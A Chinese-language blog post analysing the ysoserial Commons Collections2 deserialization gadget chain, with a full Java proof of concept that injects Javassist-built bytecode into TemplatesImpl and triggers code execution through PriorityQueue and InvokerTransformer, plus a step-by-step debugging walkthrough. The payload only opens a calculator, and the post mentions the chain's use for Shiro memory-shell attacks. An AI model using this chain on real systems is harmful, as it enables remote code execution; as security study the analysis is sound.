Ysoserial Commons Collections2分析

CoLoo發表於2021-10-12

Ysoserial Commons Collections2分析

About Commons Collections2

CC2與CC1不同在於CC2用的是Commons Collections4.0;同時利用方式CC2用到了Javassist動態程式設計,從功能上來說CC1用於執行命令,而CC2可以任意程式碼執行危害更大,所以像常用的shiro打記憶體馬也會用到CC2。

CC2 Gadget Chain

	Gadget chain:
		ObjectInputStream.readObject()
			PriorityQueue.readObject()
				...
					TransformingComparator.compare()
						InvokerTransformer.transform()
							Method.invoke()
								Runtime.exec()

poc

public class cc2 {
    public static void main(String[] args) throws Exception {
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

        ClassPool classPool=ClassPool.getDefault();     //獲取預設類池
        classPool.appendClassPath(AbstractTranslet);    //末尾新增一個ClassPath
        CtClass payload=classPool.makeClass("j");   //新建立一個類,類名為j
        payload.setSuperclass(classPool.get(AbstractTranslet));     //設定AbstractTranslet為該類父類
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");"); //建立一個靜態構造方法並將其內容設定為彈calc
        byte[] bytes=payload.toBytecode();  //將該ctclass轉為byte流
        Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();  //反射建立TemplatesImpl物件
        Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");    //反射獲取屬性值_bytecodes
        field.setAccessible(true);  //強制反射
        field.set(templatesImpl,new byte[][]{bytes});   //重新設定_bytecodes的值為bytes也就是彈calc

        Field field1=templatesImpl.getClass().getDeclaredField("_name");    //反射獲取屬性_name
        field1.setAccessible(true); //強制反射
        field1.set(templatesImpl,"test");   //將_name屬性賦值為test
        InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
        TransformingComparator comparator =new TransformingComparator(transformer);
        PriorityQueue queue = new PriorityQueue(2);
        queue.add(1);
        queue.add(1);
        Field field2=queue.getClass().getDeclaredField("comparator");
        field2.setAccessible(true);
        field2.set(queue,comparator);

        Field field3=queue.getClass().getDeclaredField("queue");
        field3.setAccessible(true);
        field3.set(queue,new Object[]{templatesImpl,templatesImpl});
        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
        outputStream.writeObject(queue);
        outputStream.close();
        ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
        inputStream.readObject();

    }
}

前置知識

PriorityQueue

Queue是一個(FIFO)先進先出的佇列,而PriorityQueue是一個根據元素優先順序出隊的佇列類。

構造方法

PriorityQueue(int initialCapacity)	
建立具有指定初始容量的PriorityQueue ,該容量根據其natural ordering對其元素進行排序 。

常用方法

boolean	add(E e)	
將指定的元素插入此優先順序佇列。

Javassist

Javassist的預設類池搜尋系統搜尋路徑,通常包括平臺庫、擴充套件庫以及-classpath選項或CLASSPATH 環境變數指定的搜尋路徑 。

關於Javassist不會詳細解讀,沒了解過Javassist的師傅也可以參考我這篇文章https://www.cnblogs.com/CoLo/p/15383642.html

Field

field.set(Object obj, Object value): 將指定物件變數上此 Field 物件表示的欄位設定為指定的新值.

PoC分析

後面會把poc拆分成幾部分依次過一下

首先看第一部分, 宣告瞭兩個string:AbstractTranslet,TemplatesImpl ;之後用到了javassist建立了一個類,類名為j,同時設定該類父類為AbstractTranslet並通過makeClassInitializer方法在該類中新增靜態程式碼塊,程式碼塊內容為彈calc。

看到這裡大概可以猜到後續應該會初始化該類從而觸發在該類中寫入的靜態程式碼塊內容去彈計算器(or 任意程式碼執行)。

丟擲問題1: 為什麼要設定父類為AbstractTranslet?

String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

ClassPool classPool=ClassPool.getDefault();     //獲取預設類池
classPool.appendClassPath(AbstractTranslet);    //append一個ClassPath,為後續設定父類作準備
CtClass payload=classPool.makeClass("j");   //新建立一個類,類名為j
payload.setSuperclass(classPool.get(AbstractTranslet));     //設定AbstractTranslet為該類父類
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");"); //建立一個靜態程式碼塊並將其內容設定為彈calc

這裡可以新增一行程式碼payload.writeFile("./");將此class檔案輸出到當前目錄看一下會比較清晰明瞭。

繼續看第二部分。將新建的類轉換為byte陣列,通過反射建立TemplatesImpl例項化物件賦值給了templatesImpl,並通過反射拿到了該物件的_bytecodes並設定屬性值為上面新建的類的byte陣列。

丟擲問題2:為什麼要將上面我們新建好的類轉為bytes陣列再賦值給TemplatesImpl類的_bytecodes

之後依然是反射拿到_name屬性並賦值test,看起來像是隨意賦值,只要_name有值即可。

丟擲問題3:為什麼_name屬性必須要有值?

byte[] bytes=payload.toBytecode();  //將該ctclass轉為byte流
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();  //反射建立TemplatesImpl物件
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");    //反射獲取屬性值_bytecodes
field.setAccessible(true);  //強制反射
field.set(templatesImpl,new byte[][]{bytes});   //重新設定_bytecodes的值為bytes也就是彈calc

Field field1=templatesImpl.getClass().getDeclaredField("_name");    //反射獲取屬性_name
field1.setAccessible(true); //強制反射
field1.set(templatesImpl,"test");   //將_name屬性賦值為test

首先切入問題2,在poc中readObject下斷點跟到com/sun/org/apache/xalan/internal/xsltc/trax/TemplatesImpl.java中,看下TemplatesImpl的原始碼,其實打fj多的師傅應該比較熟悉TemplatesImpl,這也是打fj的payload會用到的點。

呼叫棧如下,最後是在com/sun/org/apache/xalan/internal/xsltc/trax/TemplatesImpl.java#defineTransletClasses方法執行的程式碼

先只關注TemplatesImpl部分,首先newTransformer方法在執行new TransformerImpl時呼叫了getTransletInstance()

進入getTransletInstance(),由於_classnull,進入defineTransletClasses方法

到這裡就很清晰了,通過ClassLoader#defineClass()載入_byrecides屬性值的位元組流資料建立惡意類並返回給_class陣列,後續會對其進行例項化,所以這也是為什麼要將上面我們新建好的類轉為bytes陣列再賦值給TemplatesImpl類的_bytecodes而不是選擇其他類或其他屬性。

而關於之前第一個問題為什麼要設定父類為AbstractTranslet,因為要走到下面的if判斷中給_transletIndex屬性重新賦值,這個屬性在TemplatesImpl中預設設定為-1,而重新設定值與後面的例項化觸發靜態程式碼塊中程式碼執行有關

回到TemplatesImpl#getTransletInstance()將一開始建立的類通過(AbstractTranslet) _class[_transletIndex].newInstance()觸發程式碼執行,而如果_transletIndex值為-1的話應該會拋下標越界就不能正常的例項化觸發靜態程式碼塊中的程式碼執行了。這裡注意第一個if,需要_name不為null才繼續往下走,所以這也是問題3為什麼_name屬性要設定一個值。

所以後續找到如何呼叫的newTransformer方法即可。poc中給的是InvokerTransformer去反射呼叫newTransformer的執行,其流程大致為先獲取InvokerTransformer物件之後將其作為TransformingComparator構造方法的引數來例項化一個TransformingComparator物件,後續建立了一個PriorityQueue新增了兩個元素。

InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator comparator =new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);
Field field2=queue.getClass().getDeclaredField("comparator");
field2.setAccessible(true);
field2.set(queue,comparator);

Field field3=queue.getClass().getDeclaredField("queue");
field3.setAccessible(true);
field3.set(queue,new Object[]{templatesImpl,templatesImpl});

後續和之前一樣的操作通過反射分別給comparatorqueue賦值,如下圖

最後就是序列化queue物件寫入test.out之後讀取test.out再進行反序列化觸發程式碼執行

丟擲問題4:為什麼要新增兩個元素呢?

這裡可以帶著問題除錯poc觀察下

除錯分析

還是在poc中readObject()處下斷點,跟進到PriorityQueue#readObject(),跟進heapify()

這裡是一個for迴圈,注意size就是我們前面設定的PriorityQueue的長度,這裡做了無符號右移1位 再-1的操作。

放兩張圖感受下,所以這也是問題4為什麼要新增兩個元素的答案,如果只放一個就直接跳出for不再繼續往下呼叫siftDown方法了

後續就比較簡單了,進入siftDown方法後呼叫siftDownUsingComparator方法

siftDownUsingComparator方法中呼叫compare方法,其中x為我們彈計算器的惡意類

compare方法中呼叫InvokerTransformer#transform()方法

transform中反射呼叫com/sun/org/apache/xalan/internal/xsltc/trax/TemplatesImpl#newTransformer()

在其中呼叫了getTransletInstance()

先做了_name是否為null的判斷,之後進入defineTransletClasses()方法。

在其中呼叫了ClassLoader#defaineClass()方法載入bytes陣列生成惡意類

並判斷該類父類是否為對_transletIndex重新賦值或到最後丟擲異常

回到getTransletInstance()方法例項化我們的惡意類最終觸發靜態程式碼塊中程式碼執行。

其實除錯下來會發現poc的chain和yso中的不太一樣,yso封裝的太多,感覺不如直接調poc來的更易理解。不過yso還是要去深入理解的非常好的專案:D

PoC Chain:

ObjectInputStream.readObject()
      PriorityQueue.readObject()
          ...
              PriorityQueue.heapify()
                  PriorityQueue.siftDown()
                      PriorityQueue.siftDownUsingComparator()
                          TransformingComparator.compare()
                             InvokerTransformer.transform()
                                Method.invoke()
                                   TemplatesImpl.newTransformer()
                                       TemplatesImpl.getTransletInstance()

End

一開始看這條鏈頭大,有些沒接觸到的東西且cc1也是前一段時間分析的了,沒有那麼的熟悉所以看起來很吃力,還是需要多除錯幾次。其實對於每個細節都是有說法的,需要帶著問題去除錯會更容易理解。

相關文章